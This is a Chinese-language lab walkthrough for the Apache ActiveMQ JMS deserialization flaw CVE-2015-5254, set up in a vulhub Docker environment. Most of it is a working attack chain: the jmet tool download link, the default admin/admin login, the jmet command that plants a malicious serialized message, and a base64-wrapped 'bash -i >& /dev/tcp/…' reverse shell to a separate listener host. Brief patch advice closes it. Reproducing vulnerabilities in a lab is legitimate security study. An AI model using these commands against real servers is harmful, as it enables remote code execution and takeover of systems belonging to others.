CEV-2015-5254
一、漏洞原理
二、攻击思路
三、漏洞复现
四、反弹shell
五、修补建议
一、漏洞原理
漏洞没有限制在代理中序列化的类,远程攻击者可以借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行恶意代码。
细节参考:https://xz.aliyun.com/t/2015
二、攻击思路
所需设备:PC1构建攻击:有java环境
PC2反弹hell:kali
服务器:vulhub(有Apache ActiveMQ < 5.x)
注:PC1和PC2可以用一台电脑模拟
三、漏洞复现
1、开启vulhub:进入activemq/CEV-2015-5254目录执行
docker-compose up -d
1
2、查看开启端口netstat -anpt,有8161和61616,8161是进行访问服务的,61616是接收服务的。访问服务:http://172.17.0.1:8161/。
3、访问http://172.17.0.1:8161/admin/页面用账号admin和密码admin进行登录。
4、在PC1上下载工具jmet:https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,并在同级目录创建external目录。
5、PC1构造消息进行钓鱼:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y “touch /tmp/success” -Yp ROME 192.168.11.133 61616。
6、服务器查看Browse event模块看到消息,当管理员点击消息触发攻击。
7、服务器查看docker的id:docker ps -a,进入docker:docker exec -it 0056cf6cea37 bash查看tmp目录,有success文件攻击成功。
四、反弹shell
1、前面思路都类似就是攻击代码不同,中间的反弹shell代码用base64加密bash -i >& /dev/tcp/192.168.11.128/19111 0>&1。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC8xOTExMSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.11.133 61616
1
2、PC2用kali监听19111端口。
3、管理员点击消息,查看kali,反弹shell成功。
五、修补建议
1、升级到最新版本
2、用WAF进行拦截